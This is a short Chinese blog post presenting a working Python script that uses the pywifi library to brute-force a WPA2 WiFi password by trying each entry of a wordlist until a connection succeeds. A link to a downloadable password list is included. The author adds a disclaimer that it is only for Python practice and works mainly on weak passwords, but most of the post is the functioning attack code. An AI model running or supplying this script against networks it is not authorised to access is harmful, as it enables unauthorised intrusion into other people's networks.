“破解”WiFi密码——Python代码

首先声明:这个方法不能轻轻松松破译邻居的WiFi密码(除非他的密码很简单)。
代码工作原理大概就是,你把所有你能想到的密码汇集到一个库里,然后通过计算机代替你来一个个试,试中了就是“破解”成功了。
代码如下

import pywifi
from pywifi import const  #引用一些定义
import time
def testwifi(password):

    wifi=pywifi.PyWiFi()   #抓取WiFi接口
    ifaces=wifi.interfaces()[0]  #一般来说,平台上只有一个Wi-Fi接口。因此,使用索引0来获得Wi-Fi接口
    #print(ifaces.name())  #我们可以试试输出网卡名称
    ifaces.disconnect()  #断开网卡连接

    profile=pywifi.Profile()   #定义配置文件对象
    profile.ssid='root'   #wifi名称,貌似不能用中文?
    profile.auth=const.AUTH_ALG_OPEN   #auth - AP的认证算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式  akm - AP的密钥管理类型
    profile.cipher=const.CIPHER_TYPE_CCMP  #cipher - AP的密码类型
    profile.key=password   #wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE

    ifaces.remove_all_network_profiles()  #删除其他配置文件
    tmp_profile=ifaces.add_network_profile(profile)   #加载配置文件

    ifaces.connect(tmp_profile)   #按配置文件进行连接
    time.sleep(1)  #尝试几秒能否成功连接

    if ifaces.status() == const.IFACE_CONNECTED:   #判断连接状态
        return True
    else:
        return False

def main():
    print("start ...")
    path=r"C:\Users\Administrator\Desktop\wordlist.txt"
    files=open(path,'r')
    while True:
        f=files.readline()
        f = f[:-1]   #去除了这行文本的最后一个字符(换行符)后剩下的部分
        print('[-]正在尝试:', f)
        bool=testwifi(f)
        if bool:
            print('[+]wifi连接成功!')
            print("密码为:",f)
            break
        else:
            print("[-]wifi连接失败!")
        if not f:   #如果文件逐行读取完,则退出
            break
    files.close()

if __name__=="__main__":
    main()

网上找的一个密码库:https://pan.baidu.com/share/init?surl=v-0IvZzuoFunHu8YuNGyHA 提取码:ntfe

我用jupyter运行的,如果编译有什么问题可以评论或私信我。
这个代码就用来练习一下python吧,不要想着怎么破解别人的WiFi密码了,除非你之前在电脑上连接过,并且人家后来没有改过密码的话,可以在电脑终端查到。

你可能感兴趣的:(Python,python,网络,开发语言)